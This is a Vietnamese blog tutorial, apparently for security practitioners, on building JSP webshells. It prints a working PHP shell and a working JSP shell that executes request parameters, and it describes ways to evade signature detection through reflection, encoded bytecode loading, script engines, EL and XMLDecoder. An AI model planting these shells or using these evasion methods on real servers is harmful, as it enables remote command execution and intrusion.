+3

Java Webshell - Part 1: Một vài phương pháp tạo ra JSP Webshell

Đối với những người làm security, chúng ta hẳn đã khá quen thuộc với khái niệm webshell. Đó là một file chứa code có khả năng nhận đầu vào từ request, sau đó thực hiện shell command trên hệ thống và trả về kết quả, kiểu như với php là file .php:

<?php
echo system($_GET['cmd']);
?>

Hay java với file .jsp

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

Lúc ấy, webshell sẽ được lưu lại trong folder source code, và ta access trực tiếp nó trên trình duyệt:

image.png

Trong bài viết này mình sẽ đi sâu hơn vào cách JSP Webshell thực thi, cũng như các dạng webshell chúng ta có thể tạo ra trong context của JSP.

1. Khái niệm JSP

Java Server Page (JSP) là một công nghệ cho phép tạo các dynamic method, độc lập với nền tảng để xây dựng các ứng dụng dựa trên Web. JSP có quyền truy cập vào toàn bộ Java API.

.jsp -> .java -> .class

Khi một file .jsp được truy cập bởi Web server lần đầu tiên, nó sẽ được translate thành java source file (.java file) bởi Web Server (ví dụ Tomcat). Sau đó java source file sẽ được compile thành Java bytecode (.class) file bởi JDK, cuối cùng sẽ load vào trong memory bởi JVM.

Chúng ta có thể thấy rằng .jsp file khá giống với .php file, tuy nhiên trong JSP không có nhiều hàm để thực thi shell giống PHP. Nhưng vẫn còn rất nhiều cách thú vị để tạo biến thể JSP webshell để thực thi trong những ngữ cảnh khác nhau và bypass một số hệ thống phát hiện webshell.

2. Các phương thức tạo JSP Webshell

2.1. Các phương thức thường được sử dụng

Cách đơn giản và trực tiếp nhất: java.lang.Runtime#execjava.lang.ProcessBuilder. Đây là 2 cách phổ biến nên mình sẽ không đi sâu phân tích về nó.

image.png

image.png

Vấn đề của 2 cách này đó là nó quá đơn giản, vì vậy không thể bypass qua những hệ thống defender, thường detect thông qua signature.

image.png

2.2. Sử dụng cơ chế Reflection

Reflection là một cơ chế rất mạnh và linh hoạt để load các dynamic class. Vì nó có thể load các class chỉ dựa trên tên của class chúng ta nhập vào, vì vậy chúng ta có thể che giấu tên class, ví dụ Runtime dựa trên một số bước encrypt.

image.png

Mình thực hiện 1 hàm decode đơn giản để thấy được ta có thể kiểm soát các giá trị nhạy cảm như Runtime, exec. Có thể dùng một số mã hóa Base64, mã hóa vòng để bypass detect theo signature.

2.3. Load Java bytecode

Java Bytecode là mã máy dạng tệp .class. Nó là tập lệnh cho Máy ảo Java (JVM) và hoạt động tương tự như trình biên dịch. Chúng ta có thể tạo ra Java Bytecode từ một class dưới dạng file .java, và nếu bên trong class đó thực thi shell thì ta có thể chạy bytecode đó thành shell. Tương tự, nếu ta có 1 mảng bytecode chứa Runtime.exec bên trong và tải nó vào JVM thì ta cũng chạy được command.

Không có API nào được cung cấp để tải một mảng bytecode trong JDK. Tuy nhiên Java cung cấp một class là java.lang.ClassLoader dùng để load Java bytecode thành Class object. Có 3 method chính được gọi để đạt được điều đó:

  • loadClass: Tải một lớp theo tên lớp ta chỉ định. Nó sẽ invoke đệ quy tới lớp cha để xác định xem class đã tải chưa. Nếu chưa, nó sẽ gọi tới findClass

image.png

  • findClass: Load class dựa trên class name ta chỉ định vào một mảng byte, sau đó call defineClass.
  • defineClass: Load bytecode vào Class object.

2.3.1. Sử dụng defineClass

Chúng ta không có một API nào trực tiếp cho phép load từ bytecode sang class, tuy nhiên có thể thực hiện nó thông qua việc viết 1 class extends từ ClassLoader để thực hiện mục đích ấy.

image.png

Ta có 1 class Exploit extends từ ClassLoader, class này có hàm defineClass đã được override lại, thực hiện lấy input là byteCode dạng Base64, sau đó thực hiện load bytecode dựa vào method defineClass của ClassLoader. Khi Class đã được load, thực hiện hàm equals của class đó. Điều tiếp theo ta cần làm là tạo ra một bytecode từ 1 class có thể run được command. Đây là một class Exploit1 có chức năng cơ bản là lấy input từ request param cmd và execute như vậy:

image.png

Trường hợp này override hàm equals bởi vì equals là method mặc định của Object trong Java và ta có thể override nó để phục vụ mục đích là execute code. Hàm main không thực sự cần thiết, nó chỉ giúp ta print ra bytecode để copy dễ hơn, tất cả có thể dừng lại ở việc override hàm equals là đủ.

image.png

Lưu ý file Exploit1.java không cần thiết phải ở trên server, cái ta cần chỉ là bytecode của nó để cho vào input.

2.3.2. Sử dụng URLClassLoader

URLClassLoader là một class con của ClassLoader, mục đích là để load bytecode từ input là một URL.

image.png

image.png

2.4. Các class liên quan đến Expession Language

JSP Epression Language (EL) giúp dễ dàng truy cập dữ liệu ứng dụng được lưu giữ trong các thành phần JavaBeans. JSP EL cho phép bạn tạo các Expression, gồm số học và logic. Bên trong một JSP EL, bạn có thể sử dụng các integer, các số floating point, string, các hằng có sẵn true hoặc false cho các giá trị Boolean, và null.

2.4.1. ScriptEngineManager#eval

Có một công cụ để giúp chúng ta giao tiếp giữa Java và Javascript, đó là javax.script.ScriptEngineManager. Không có method eval trong Java, nhưng có trong ScriptEngineManager. Nó cũng tương tự hàm eval() trong php, khi có thể xem những giá trị bên trong như là các method và object.

image.png

Cách researcher cũng thường sử dụng ScriptEngineManager để echo ra output trong khai thác Deserialization no outbound mà chúng ta sẽ đề cập sau.

2.4.2 Tomcat EL -> ELProcessor#eval()

Trong lib của tomcat có 1 phương thức để triển khai EL là javax.el.ELProcessor trong el-api.jar của Tomcat.

image.png

Cách hoạt động cũng tương tự với ScriptEngineManager.

image.png

2.5. Thông qua XMLDecoder

java.beans.XMLDecoder là một class để process xml thành object, và ta có thể lợi dụng nó để tạo ra một webshell với payload.

image.png

image.png

Về việc lợi dụng XMLDecoder để làm webshell, các bạn có thể tham khảo ở đây, bao gồm rất nhiều payload khác nhau để RCE với nó.

Trong part 2 mình sẽ trình bày về kĩ thuật Memory Webshell và các biến thể của nó, mong độc giả sẽ đón đọc.

Tham khảo thêm

https://github.com/tennc/webshell

https://diniscruz.blogspot.com/2013/08/using-xmldecoder-to-execute-server-side.html

https://sec.vnpt.vn/2022/12/ky-thuat-memory-webshell-trong-cac-dot-khai-thac-redteam/


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.